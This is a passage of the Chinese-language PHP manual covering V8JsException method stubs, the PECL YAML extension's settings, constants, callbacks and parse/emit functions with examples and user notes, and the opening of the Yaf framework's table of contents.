public Exception::__toString(): string
private Exception::__clone(): void
}

属性

JsFileName

JsLineNumber

JsSourceLine

JsTrace

Table of Contents

  • V8JsException::getJsFileName — The getJsFileName purpose
  • V8JsException::getJsLineNumber — The getJsLineNumber purpose
  • V8JsException::getJsSourceLine — The getJsSourceLine purpose
  • V8JsException::getJsTrace — The getJsTrace purpose

User Contributed Notes

There are no user contributed notes for this page.


The getJsFileName purpose

  • ? V8JsException
  • V8JsException::getJsLineNumber ?
  • PHP Manual
  • V8JsException
  • The getJsFileName purpose

V8JsException::getJsFileName

(PECL v8js >= 0.1.0)

V8JsException::getJsFileName — The getJsFileName purpose

说明

final public V8JsException::getJsFileName(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getJsLineNumber purpose

  • ? V8JsException::getJsFileName
  • V8JsException::getJsSourceLine ?
  • PHP Manual
  • V8JsException
  • The getJsLineNumber purpose

V8JsException::getJsLineNumber

(PECL v8js >= 0.1.0)

V8JsException::getJsLineNumber — The getJsLineNumber purpose

说明

final public V8JsException::getJsLineNumber(): int

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getJsSourceLine purpose

  • ? V8JsException::getJsLineNumber
  • V8JsException::getJsTrace ?
  • PHP Manual
  • V8JsException
  • The getJsSourceLine purpose

V8JsException::getJsSourceLine

(PECL v8js >= 0.1.0)

V8JsException::getJsSourceLine — The getJsSourceLine purpose

说明

final public V8JsException::getJsSourceLine(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


The getJsTrace purpose

  • ? V8JsException::getJsSourceLine
  • Yaml ?
  • PHP Manual
  • V8JsException
  • The getJsTrace purpose

V8JsException::getJsTrace

(PECL v8js >= 0.1.0)

V8JsException::getJsTrace — The getJsTrace purpose

说明

final public V8JsException::getJsTrace(): string

Warning

本函数还未编写文档，仅有参数列表。

参数

此函数没有参数。

返回值

User Contributed Notes

There are no user contributed notes for this page.


YAML 数据序列化

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • Callbacks
    • Parse callbacks
    • Emit callbacks
  • Yaml 函数
    • yaml_emit_file — Send the YAML representation of a value to a file
    • yaml_emit — Returns the YAML representation of a value
    • yaml_parse_file — Parse a YAML stream from a file
    • yaml_parse_url — Parse a Yaml stream from a URL
    • yaml_parse — Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.


简介

本扩展实现了 » YAML Ain't Markup Language (YAML) 数据序列化标准。 通过 » LibYAML library 来解析和编码。

User Contributed Notes

There are no user contributed notes for this page.


需求

This extension requires the » LibYAML C library version 0.1.0 or higher to be installed.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/yaml.

User Contributed Notes

There are no user contributed notes for this page.


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Yaml 配置选项
名字 | 默认 | 可修改范围 | 更新日志
yaml.decode_binary | 0 | PHP_INI_ALL |
yaml.decode_php | 0 | PHP_INI_ALL | Added in 1.2.0, before 2.0.0 the default was 1
yaml.decode_timestamp | 0 | PHP_INI_ALL |
yaml.output_canonical | 0 | PHP_INI_ALL |
yaml.output_indent | 2 | PHP_INI_ALL |
yaml.output_width | 80 | PHP_INI_ALL |

这是配置指令的简短说明。

yaml.decode_binary bool

Off by default, but can be set to on to cause base64 binary encoded entities which have the explicit tag "tag:yaml.org,2002:binary" to be decoded.

yaml.decode_php bool

Off by default, but can be set to on to cause serialized php objects which have the explicit tag "!php/object" to be unserialized.

yaml.decode_timestamp int

Controls the decoding of both implicit and explicit "tag:yaml.org,2002:timestamp" scalars in the YAML document stream. The default setting of 0 will not apply any decoding. A setting of 1 will use strtotime() to parse the timestamp value as a Unix timestamp. A setting of 2 will use date_create() to parse the timestamp value as DateTime object.

yaml.output_canonical bool

Off by default, but can be set to on to cause canonical form output.

yaml.output_indent int

Number of spaces to indent sections. Value should be between 1 and 10.

yaml.output_width int

Set the preferred line width. -1 means unlimited.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

yaml_parse() 回调方法所使用的实体标量的风格。
YAML_ANY_SCALAR_STYLE (int)
YAML_PLAIN_SCALAR_STYLE (int)
YAML_SINGLE_QUOTED_SCALAR_STYLE (int)
YAML_DOUBLE_QUOTED_SCALAR_STYLE (int)
YAML_LITERAL_SCALAR_STYLE (int)
YAML_FOLDED_SCALAR_STYLE (int)
yaml_parse() 回调方法 可使用的通用标签。
YAML_NULL_TAG (string)
"tag:yaml.org,2002:null"
YAML_BOOL_TAG (string)
"tag:yaml.org,2002:bool"
YAML_STR_TAG (string)
"tag:yaml.org,2002:str"
YAML_INT_TAG (string)
"tag:yaml.org,2002:int"
YAML_FLOAT_TAG (string)
"tag:yaml.org,2002:float"
YAML_TIMESTAMP_TAG (string)
"tag:yaml.org,2002:timestamp"
YAML_SEQ_TAG (string)
"tag:yaml.org,2002:seq"
YAML_MAP_TAG (string)
"tag:yaml.org,2002:map"
YAML_PHP_TAG (string)
"!php/object"
Encoding types for yaml_emit()
YAML_ANY_ENCODING (int)
让发射器(emitter)选择一个编码。
YAML_UTF8_ENCODING (int)
以 UTF8 编码。
YAML_UTF16LE_ENCODING (int)
以 UTF16LE 编码。
YAML_UTF16BE_ENCODING (int)
以 UTF16BE 编码。
yaml_emit() 的换行符类型
YAML_ANY_BREAK (int)
让发射器(emitter)选择一个换行符。
YAML_CR_BREAK (int)
使用 \r 作为换行符(Mac 风格)。
YAML_LN_BREAK (int)
使用 \n 作为换行符(Unix 风格)。
YAML_CRLN_BREAK (int)
使用 \r\n 作为换行符(DOS 风格)。

User Contributed Notes

There are no user contributed notes for this page.


示例

Example #1 Yaml 范例

<?php
$addr = array(
"given" => "Chris",
"family"=> "Dumars",
"address"=> array(
"lines"=> "458 Walkman Dr.
Suite #292",
"city"=> "Royal Oak",
"state"=> "MI",
"postal"=> 48046,
),
);
$invoice = array (
"invoice"=> 34843,
"date"=> "2001-01-23",
"bill-to"=> $addr,
"ship-to"=> $addr,
"product"=> array(
array(
"sku"=> "BL394D",
"quantity"=> 4,
"description"=> "Basketball",
"price"=> 450,
),
array(
"sku"=> "BL4438H",
"quantity"=> 1,
"description"=> "Super Hoop",
"price"=> 2392,
),
),
"tax"=> 251.42,
"total"=> 4443.52,
"comments"=> "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.",
);

// 把该 invoice 转换生成 YAML 的表示法
$yaml = yaml_emit($invoice);
var_dump($yaml);

// 把 YAML 转换成 PHP 变量
$parsed = yaml_parse($yaml);

// 来回转换，以检查两个结构是否相等效
var_dump($parsed == $invoice);
?>

以上示例的输出类似于：

string(631) "---
invoice: 34843
date: "2001-01-23"
bill-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
"
bool(true)

User Contributed Notes

There are no user contributed notes for this page.


Callbacks

Table of Contents

  • Parse callbacks
  • Emit callbacks

User Contributed Notes

There are no user contributed notes for this page.


Parse callbacks

Parse callables are invoked by yaml_parse(), yaml_parse_file() or yaml_parse_url() functions when a registered YAML tag is encountered. The callback is passed the tagged entity's value, the tag, and flags indicating the scalar entity style. The callback must return the data that the YAML parser should emit for this entity.

Example #1 Parse callback example

<?php
/**
* Parsing callback for yaml tag.
* @param mixed $value Data from yaml file
* @param string $tag Tag that triggered callback
* @param int $flags Scalar entity style (see YAML_*_SCALAR_STYLE)
* @return mixed Value that YAML parser should emit for the given value
*/
function tag_callback ($value, $tag, $flags) {
var_dump(func_get_args()); // debugging
return "Hello {$value}";
}

$yaml = <<<YAML
greeting: !example/hello World
YAML;

$result = yaml_parse($yaml, 0, $ndocs, array(
'!example/hello' => 'tag_callback',
));

var_dump($result);
?>

以上示例的输出类似于：

array(3) {
  [0]=>
  string(5) "World"
  [1]=>
  string(14) "!example/hello"
  [2]=>
  int(1)
}
array(1) {
  ["greeting"]=>
  string(11) "Hello World"
}

User Contributed Notes

There are no user contributed notes for this page.


Emit callbacks

Emit callbacks are invoked when an instance of a registered class is emitted by yaml_emit() or yaml_emit_file(). The callback is passed the object to be emitted. The callback must return an array having two keys: "tag" and "data". The value associated with the "tag" key must be a string to be used as the YAML tag in the output. The value associated with the "data" key will be encoded as YAML and emitted in place of the intercepted object.

Example #1 Emit callback example

<?php
class EmitExample {
public $data; // data may be in any pecl/yaml suitable type

public function __construct ($d) {
$this->data = $d;
}

/**
* Yaml emit callback function, referred on yaml_emit call by class name.
*
* Expected to return an array with 2 values:
* - 'tag': custom tag for this serialization
* - 'data': value to convert to yaml (array, string, bool, number)
*
* @param object $obj Object to be emitted
* @return array Tag and surrogate data to emit
*/
public static function yamlEmit (EmitExample $obj) {
return array(
'tag' => '!example/emit',
'data' => $obj->data,
);
}
}

$emit_callbacks = array(
'EmitExample' => array('EmitExample', 'yamlEmit')
);

$t = new EmitExample(array('a','b','c'));
$yaml = yaml_emit(
array(
'example' => $t,
),
YAML_ANY_ENCODING,
YAML_ANY_BREAK,
$emit_callbacks
);
var_dump($yaml);
?>

以上示例的输出类似于：

string(43) "---
example: !example/emit
- a
- b
- c
...
"

User Contributed Notes

There are no user contributed notes for this page.


Yaml 函数

Table of Contents

  • yaml_emit_file — Send the YAML representation of a value to a file
  • yaml_emit — Returns the YAML representation of a value
  • yaml_parse_file — Parse a YAML stream from a file
  • yaml_parse_url — Parse a Yaml stream from a URL
  • yaml_parse — Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.


Send the YAML representation of a value to a file

  • ? Yaml 函数
  • yaml_emit ?
  • PHP Manual
  • Yaml 函数
  • Send the YAML representation of a value to a file

yaml_emit_file

(PECL yaml >= 0.5.0)

yaml_emit_file — Send the YAML representation of a value to a file

说明

yaml_emit_file(
string $filename,
mixed $data,
int $encoding = YAML_ANY_ENCODING,
int $linebreak = YAML_ANY_BREAK,
array $callbacks = null
): bool

Generate a YAML representation of the provided data in the filename.

参数

filename

Path to the file.

data

The data being encoded. Can be any type except a resource.

encoding

Output character encoding chosen from YAML_ANY_ENCODING, YAML_UTF8_ENCODING, YAML_UTF16LE_ENCODING, YAML_UTF16BE_ENCODING.

linebreak

Output linebreak style chosen from YAML_ANY_BREAK, YAML_CR_BREAK, YAML_LN_BREAK, YAML_CRLN_BREAK.

callbacks

Content handlers for emitting YAML nodes. Associative array of classname => callable mappings. See emit callbacks for more details.

返回值

Returns true on success.

更新日志

版本 | 说明
PECL yaml 1.1.0 | The callbacks parameter was added.

参见

  • yaml_emit() - Returns the YAML representation of a value
  • yaml_parse() - Parse a YAML stream

User Contributed Notes

There are no user contributed notes for this page.


Returns the YAML representation of a value

  • ? yaml_emit_file
  • yaml_parse_file ?
  • PHP Manual
  • Yaml 函数
  • Returns the YAML representation of a value

yaml_emit

(PECL yaml >= 0.5.0)

yaml_emit — Returns the YAML representation of a value

说明

yaml_emit(
mixed $data,
int $encoding = YAML_ANY_ENCODING,
int $linebreak = YAML_ANY_BREAK,
array $callbacks = null
): string

Generate a YAML representation of the provided data.

参数

data

The data being encoded. Can be any type except a resource.

encoding

Output character encoding chosen from YAML_ANY_ENCODING, YAML_UTF8_ENCODING, YAML_UTF16LE_ENCODING, YAML_UTF16BE_ENCODING.

linebreak

Output linebreak style chosen from YAML_ANY_BREAK, YAML_CR_BREAK, YAML_LN_BREAK, YAML_CRLN_BREAK.

callbacks

Content handlers for emitting YAML nodes. Associative array of classname => callable mappings. See emit callbacks for more details.

返回值

Returns a YAML encoded string on success.

更新日志

版本 | 说明
PECL yaml 1.1.0 | The callbacks parameter was added.

示例

Example #1 yaml_emit() example

<?php
$addr = array(
"given" => "Chris",
"family"=> "Dumars",
"address"=> array(
"lines"=> "458 Walkman Dr.
Suite #292",
"city"=> "Royal Oak",
"state"=> "MI",
"postal"=> 48046,
),
);
$invoice = array (
"invoice"=> 34843,
"date"=> 980208000,
"bill-to"=> $addr,
"ship-to"=> $addr,
"product"=> array(
array(
"sku"=> "BL394D",
"quantity"=> 4,
"description"=> "Basketball",
"price"=> 450,
),
array(
"sku"=> "BL4438H",
"quantity"=> 1,
"description"=> "Super Hoop",
"price"=> 2392,
),
),
"tax"=> 251.42,
"total"=> 4443.52,
"comments"=> "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.",
);
var_dump(yaml_emit($invoice));
?>

以上示例的输出类似于：

string(628) "---
invoice: 34843
date: 980208000
bill-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
ship-to:
  given: Chris
  family: Dumars
  address:
    lines: |-
      458 Walkman Dr.
              Suite #292
    city: Royal Oak
    state: MI
    postal: 48046
product:
- sku: BL394D
  quantity: 4
  description: Basketball
  price: 450
- sku: BL4438H
  quantity: 1
  description: Super Hoop
  price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
"

参见

  • yaml_emit_file() - Send the YAML representation of a value to a file
  • yaml_parse() - Parse a YAML stream

User Contributed Notes

nsa at succhia dot cz 23-May-2023 01:40
Note that NULL values will be converted to the tilde character "~".

This can be somehow counter-intuitive, but that is absolutely legit, and it seems it is a standard recognized by every Yaml parser. So, don't worry about that. Yaml reference:

http://yaml.org/spec/1.2-old/spec.html#id2805071
josh dot sickmate at gmail dot com 29-May-2019 05:55
There isn't an option for indenting depth so it's always two spaces. If you want more than this you can use a simple regex.

Converting from two spaces to four:
<?php
$yaml = preg_replace('/^(  +)/m', '$1$1', $yaml);
?>

Add two more $1 into the replacement for eight spaces.


Parse a YAML stream from a file

  • ? yaml_emit
  • yaml_parse_url ?
  • PHP Manual
  • Yaml 函数
  • Parse a YAML stream from a file

yaml_parse_file

(PECL yaml >= 0.4.0)

yaml_parse_file — Parse a YAML stream from a file

说明

yaml_parse_file(
string $filename,
int $pos = 0,
int &$ndocs = ?,
array $callbacks = null
): mixed

Convert all or part of a YAML document stream read from a file to a PHP variable.

参数

filename

Path to the file.

pos

Document to extract from stream (-1 for all documents, 0 for first document, ...).

ndocs

If ndocs is provided, then it is filled with the number of documents found in stream.

callbacks

Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more details.

返回值

Returns the value encoded in input in appropriate PHP type 或者在失败时返回 false. If pos is -1 an array will be returned with one entry for each document found in the stream.

注释

Warning

Processing untrusted user input with yaml_parse_file() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.

参见

  • yaml_parse() - Parse a YAML stream
  • yaml_parse_url() - Parse a Yaml stream from a URL
  • yaml_emit() - Returns the YAML representation of a value

User Contributed Notes

Dan M 06-May-2020 03:21
Be aware that when parsing yaml an unquoted Y value will become a boolean true

This may be desired or undesired behavior depending on context

- chr_name: X // becomes string X
- chr_name: Y // becomes boolean true

[
 [chr_name => X],
 [chr_name => true],
]

You definitely don't want chromosome Y becoming chromosome 1 (true) as happened to me, so heads up!
DarckCrystale 08-Aug-2018 12:45
When trying to read an empty file, yaml_parse_file() throws a warning:

    PHP Warning:  yaml_parse_file(): end of stream reached without finding document 0
Arne L. 07-Aug-2015 09:34
As Jesse Donat mentioned the type will be infered automatically. To enforce some type you can use the callback facility like this:

<?php
function cb_yaml_date($value, $tag, $flags) {
    return new DateTime($value);
}

$yaml = <<<YAML
event1:
  name: My Event
  date: !date 25.05.2001
YAML;

$ndocs = 0;
$data = yaml_parse($yaml, 0, $ndocs, array('!date' => 'cb_yaml_date'));

print_r($data);
?>

The above example will output something similar to:

    Array
    (
        [event1] => Array
            (
                [name] => My Event
                [date] => DateTime Object
                    (
                        [date] => 2001-05-25 00:00:00
                        [timezone_type] => 3
                        [timezone] => Europe/Berlin
                    )

            )

    )

BTW if you want to have large numbers you are probably using BC Math. Thus, you simple enclose your number in quotes:

<?php
$yaml = <<<YAML
largenumber: '14695760472279668267313200104308'
YAML;
?>
Jesse Donat 10-Aug-2011 09:34
This is entirely dependent on type detection - as far as I can find there is no way to force a type and for instance when you have a very long integer as a value - in my case 1313035348823 it gets limited to 2147483647 - PHP's max integer.


Parse a Yaml stream from a URL

  • ? yaml_parse_file
  • yaml_parse ?
  • PHP Manual
  • Yaml 函数
  • Parse a Yaml stream from a URL

yaml_parse_url

(PECL yaml >= 0.4.0)

yaml_parse_url — Parse a Yaml stream from a URL

说明

yaml_parse_url(
string $url,
int $pos = 0,
int &$ndocs = ?,
array $callbacks = null
): mixed

Convert all or part of a YAML document stream read from a URL to a PHP variable.

参数

url

url should be of the form "scheme://...". PHP will search for a protocol handler (also known as a wrapper) for that scheme. If no wrappers for that protocol are registered, PHP will emit a notice to help you track potential problems in your script and then continue as though filename specifies a regular file.

pos

Document to extract from stream (-1 for all documents, 0 for first document, ...).

ndocs

If ndocs is provided, then it is filled with the number of documents found in stream.

callbacks

Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more

返回值

Returns the value encoded in input in appropriate PHP type 或者在失败时返回 false. If pos is -1 an array will be returned with one entry for each document found in the stream.

注释

Warning

Processing untrusted user input with yaml_parse_url() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.

参见

  • yaml_parse() - Parse a YAML stream
  • yaml_parse_file() - Parse a YAML stream from a file
  • yaml_emit() - Returns the YAML representation of a value

User Contributed Notes

There are no user contributed notes for this page.


Parse a YAML stream

  • ? yaml_parse_url
  • Yaf ?
  • PHP Manual
  • Yaml 函数
  • Parse a YAML stream

yaml_parse

(PECL yaml >= 0.4.0)

yaml_parse — Parse a YAML stream

说明

yaml_parse(
string $input,
int $pos = 0,
int &$ndocs = ?,
array $callbacks = null
): mixed

Convert all or part of a YAML document stream to a PHP variable.

参数

input

The string to parse as a YAML document stream.

pos

Document to extract from stream (-1 for all documents, 0 for first document, ...).

ndocs

If ndocs is provided, then it is filled with the number of documents found in stream.

callbacks

Content handlers for YAML nodes. Associative array of YAML tag => callable mappings. See parse callbacks for more details.

返回值

Returns the value encoded in input in appropriate PHP type 或者在失败时返回 false. If pos is -1 an array will be returned with one entry for each document found in the stream.

示例

Example #1 yaml_parse() example

<?php
$yaml = <<<EOD
---
invoice: 34843
date: "2001-01-23"
bill-to: &id001
given: Chris
family: Dumars
address:
lines: |-
458 Walkman Dr.
Suite #292
city: Royal Oak
state: MI
postal: 48046
ship-to: *id001
product:
- sku: BL394D
quantity: 4
description: Basketball
price: 450
- sku: BL4438H
quantity: 1
description: Super Hoop
price: 2392
tax: 251.420000
total: 4443.520000
comments: Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338.
...
EOD;

$parsed = yaml_parse($yaml);
var_dump($parsed);
?>

以上示例的输出类似于：

array(8) {
  ["invoice"]=>
  int(34843)
  ["date"]=>
  string(10) "2001-01-23"
  ["bill-to"]=>
  &array(3) {
    ["given"]=>
    string(5) "Chris"
    ["family"]=>
    string(6) "Dumars"
    ["address"]=>
    array(4) {
      ["lines"]=>
      string(34) "458 Walkman Dr.
        Suite #292"
      ["city"]=>
      string(9) "Royal Oak"
      ["state"]=>
      string(2) "MI"
      ["postal"]=>
      int(48046)
    }
  }
  ["ship-to"]=>
  &array(3) {
    ["given"]=>
    string(5) "Chris"
    ["family"]=>
    string(6) "Dumars"
    ["address"]=>
    array(4) {
      ["lines"]=>
      string(34) "458 Walkman Dr.
        Suite #292"
      ["city"]=>
      string(9) "Royal Oak"
      ["state"]=>
      string(2) "MI"
      ["postal"]=>
      int(48046)
    }
  }
  ["product"]=>
  array(2) {
    [0]=>
    array(4) {
      ["sku"]=>
      string(6) "BL394D"
      ["quantity"]=>
      int(4)
      ["description"]=>
      string(10) "Basketball"
      ["price"]=>
      int(450)
    }
    [1]=>
    array(4) {
      ["sku"]=>
      string(7) "BL4438H"
      ["quantity"]=>
      int(1)
      ["description"]=>
      string(10) "Super Hoop"
      ["price"]=>
      int(2392)
    }
  }
  ["tax"]=>
  float(251.42)
  ["total"]=>
  float(4443.52)
  ["comments"]=>
  string(68) "Late afternoon is best. Backup contact is Nancy Billsmer @ 338-4338."
}

注释

Warning

Processing untrusted user input with yaml_parse() is dangerous if the use of unserialize() is enabled for nodes using the !php/object tag. This behavior can be disabled by using the yaml.decode_php ini setting.

参见

  • yaml_parse_file() - Parse a YAML stream from a file
  • yaml_parse_url() - Parse a Yaml stream from a URL
  • yaml_emit() - Returns the YAML representation of a value

User Contributed Notes

Zalmoksis 06-Feb-2019 01:15
It seams the YAML standard version here is the 1.1 and not the (1.2 released in 2009), so all of the following values: y, Y, yes, Yes, YES, n, N, no, No, NO, true, True, TRUE, false, False, FALSE, on, On, ON, off, Off, OFF are confusingly at times interpreted as booleans.
laura dot dean at mooneleaf dot com 30-Oct-2016 02:19
When entering the string through a form, I had to first use utf8_decode on the input before using yaml_parse or else I got a cryptic error message --

Warning: yaml_parse(): reading error encountered during parsing: control characters are not allowed (line 1, column 1)

-- even though the special character was buried deep in the file.
alpacagm at gmail dot com 11-Jan-2012 04:32
Simple usage example of interpreting custom tags:
<?php
$data=
"#yaml
---
data: !mytag bar test
...
";

function callback($value){
  return str_replace('bar','baz',$value);
}
$cnt;
$array=yaml_parse($data,0,$cnt,array('!mytag'=>'callback'));

print_r($array['data']);
?>
output:
Array
(
   [data] => baz test
)
note, there is a related bug in version 1.0.1 (see tracker)


Yet Another Framework

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 示例
  • 应用程序配置
  • Yaf_Application — Yaf_Application 类
    • Yaf_Application::app — 检索 Application 实例
    • Yaf_Application::bootstrap — 调用 bootstrap
    • Yaf_Application::clearLastError — 清除最后的错误信息
    • Yaf_Application::__construct — Yaf_Application 的构造函数
    • Yaf_Application::__destruct — __destruct 函数
    • Yaf_Application::environ — 检索环境名
    • Yaf_Application::execute — 运行回调
    • Yaf_Application::getAppDirectory — 获取应用的目录
    • Yaf_Application::getConfig — 获取 Yaf_Config_Abstract 的实例
    • Yaf_Application::getDispatcher — 获取 Yaf_Dispatcher 的实例
    • Yaf_Application::getLastErrorMsg — 获取最近产生的错误的错误信息
    • Yaf_Application::getLastErrorNo — 获取最后产生的错误的错误代码
    • Yaf_Application::getModules — 获取定义的模块名
    • Yaf_Application::run — 运行 Yaf_Application
    • Yaf_Application::setAppDirectory — 改变应用目录
  • Yaf_Bootstrap_Abstract — Yaf_Bootstrap_Abstract 类
  • Yaf_Dispatcher — Yaf_Dispatcher 类
    • Yaf_Dispatcher::autoRender — 开启/关闭自动渲染
    • Yaf_Dispatcher::catchException — 开启/关闭自动异常捕获
    • Yaf_Dispatcher::__construct — Yaf_Dispatcher 构造方法
    • Yaf_Dispatcher::disableView — 关闭视图渲染
    • Yaf_Dispatcher::dispatch — 分发请求
    • Yaf_Dispatcher::enableView — 开启视图渲染
    • Yaf_Dispatcher::flushInstantly — 打开/关闭即时刷新
    • Yaf_Dispatcher::getApplication — 检索应用程序
    • Yaf_Dispatcher::getDefaultAction — Retrive the default action name
    • Yaf_Dispatcher::getDefaultController — Retrive the default controller name
    • Yaf_Dispatcher::getDefaultModule — Retrive the default module name
    • Yaf_Dispatcher::getInstance — 获取当前的Yaf_Dispatcher实例
    • Yaf_Dispatcher::getRequest — 检索请求实例
    • Yaf_Dispatcher::getRouter — 检索路由实例
    • Yaf_Dispatcher::initView — 初始化视图并返回
    • Yaf_Dispatcher::registerPlugin — 注册插件
    • Yaf_Dispatcher::returnResponse — The returnResponse purpose
    • Yaf_Dispatcher::setDefaultAction — 设置默认动作名
    • Yaf_Dispatcher::setDefaultController — 设置默认控制器名
    • Yaf_Dispatcher::setDefaultModule — 设置默认模块名
    • Yaf_Dispatcher::setErrorHandler — 设置错误处理
    • Yaf_Dispatcher::setRequest — The setRequest purpose
    • Yaf_Dispatcher::setView — 设置自定义视图引擎
    • Yaf_Dispatcher::throwException — 开启/关闭异常抛出
  • Yaf_Config_Abstract — Yaf_Config_Abstract 类
    • Yaf_Config_Abstract::get — Getter
    • Yaf_Config_Abstract::readonly — 寻找只读配置
    • Yaf_Config_Abstract::set — Setter
    • Yaf_Config_Abstract::toArray — 转换为数组
  • Yaf_Config_Ini — Yaf_Config_Ini 类
    • Yaf_Config_Ini::__construct — Yaf_Config_Ini 构造方法
    • Yaf_Config_Ini::count — Yaf_Config.ini 中所有元素的数量
    • Yaf_Config_Ini::current — 检索当前值
    • Yaf_Config_Ini::__get — 检索元素
    • Yaf_Config_Ini::__isset — 检查节点是否存在
    • Yaf_Config_Ini::key — 返回当前元素的键
    • Yaf_Config_Ini::next — 向前移动到下一个元素
    • Yaf_Config_Ini::offsetExists — 检查一个偏移位置是否存在
    • Yaf_Config_Ini::offsetGet — 获取一个偏移位置的值
    • Yaf_Config_Ini::offsetSet — 设置一个偏移位置的值
    • Yaf_Config_Ini::offsetUnset — 复位一个偏移位置的值
    • Yaf_Config_Ini::readonly — 检查配置是否只读
    • Yaf_Config_Ini::rewind — 检查当前位置是否有效
    • Yaf_Config_Ini::__set — The __set purpose
    • Yaf_Config_Ini::toArray — 配置作为数组返回
    • Yaf_Config_Ini::valid — 检查迭代器是否有效
  • Yaf_Config_Simple — Yaf_Config_Simple 类
    • Yaf_Config_Simple::__construct — 构造函数
    • Yaf_Config_Simple::count — 返回配置的节数量
    • Yaf_Config_Simple::current — 返回当前节点
    • Yaf_Config_Simple::__get — 读取节点配置
    • Yaf_Config_Simple::__isset — 检查节点是否存在
    • Yaf_Config_Simple::key — 返回当前元素的键
    • Yaf_Config_Simple::next — 向前移动到下一个元素
    • Yaf_Config_Simple::offsetExists — 检查一个偏移位置是否存在
    • Yaf_Config_Simple::offsetGet — 获取一个偏移位置的值
    • Yaf_Config_Simple::offsetSet — 设置一个偏移位置的值
    • Yaf_Config_Simple::offsetUnset — 复位一个偏移位置的值
    • Yaf_Config_Simple::readonly — 检查配置是否只读
    • Yaf_Config_Simple::rewind — 检查当前位置是否有效
    • Yaf_Config_Simple::__set — 设置节点配置
    • Yaf_Config_Simple::toArray — 返回 PHP 数组
    • Yaf_Config_Simple::valid — 检查迭代器是否有效
  • Yaf_Controller_Abstract — Yaf_Controller_Abstract 类
    • Yaf_Controller_Abstract::__construct — Yaf_Controller_Abstract 构造方法
    • Yaf_Controller_Abstract::display — The display purpose
    • Yaf_Controller_Abstract::forward — 转发到另一个动作
    • Yaf_Controller_Abstract::getInvokeArg — The getInvokeArg purpose
    • Yaf_Controller_Abstract::getInvokeArgs — The getInvokeArgs purpose
    • Yaf_Controller_Abstract::getModuleName — 获取当前控制器所属的模块名
    • Yaf_Controller_Abstract::getName — Get self name
    • Yaf_Controller_Abstract::getRequest — 检索当前请求对象
    • Yaf_Controller_Abstract::getResponse — 检索当前响应对象
    • Yaf_Controller_Abstract::getView — 获取当前的视图引擎
    • Yaf_Controller_Abstract::getViewpath — The getViewpath purpose
    • Yaf_Controller_Abstract::init — 控制器初始化
    • Yaf_Controller_Abstract::initView — The initView purpose
    • Yaf_Controller_Abstract::redirect — 重定向到 URL
    • Yaf_Controller_Abstract::render — 渲染视图模板
    • Yaf_Controller_Abstract::setViewpath — The setViewpath purpose
  • Yaf_Action_Abstract — Yaf_Action_Abstract 类
    • Yaf_Action_Abstract::execute — 动作入口点
    • Yaf_Action_Abstract::getController — 检索控制器对象
    • Yaf_Action_Abstract::getControllerName — Get controller name
  • Yaf_View_Interface — Yaf_View_Interface 类
    • Yaf_View_Interface::assign — 为视图引擎分配模板变量
    • Yaf_View_Interface::display — 渲染并输出模板
    • Yaf_View_Interface::getScriptPath — The getScriptPath purpose
    • Yaf_View_Interface::render — 渲染模板
    • Yaf_View_Interface::setScriptPath — The setScriptPath purpose
  • Yaf_View_Simple — Yaf_View_Simple 类
    • Yaf_View_Simple::assign — 为视图引擎分配一个模板变量
    • Yaf_View_Simple::assignRef — The assignRef purpose
    • Yaf_View_Simple::clear — 清除分配的值
    • Yaf_View_Simple::__construct — Yaf_View_Simple 的构造方法
    • Yaf_View_Simple::display — 渲染一个视图模板, 并直接输出给请求端
    • Yaf_View_Simple::eval — 渲染模板
    • Yaf_View_Simple::__get — 获取视图引擎的一个模板变量值
    • Yaf_View_Simple::getScriptPath — 获取模板目录
    • Yaf_View_Simple::__isset — The __isset purpose
    • Yaf_View_Simple::render — 渲染模板
    • Yaf_View_Simple::__set — 为视图引擎分配一个模板变量
    • Yaf_View_Simple::setScriptPath — 设置模板的目录
  • Yaf_Loader — Yaf_Loader 类
    • Yaf_Loader::autoload — The autoload purpose
    • Yaf_Loader::clearLocalNamespace — The clearLocalNamespace purpose
    • Yaf_Loader::__construct — The __construct purpose
    • Yaf_Loader::getInstance — The getInstance purpose
    • Yaf_Loader::getLibraryPath — 获取库路径
    • Yaf_Loader::getLocalNamespace — The getLocalNamespace purpose
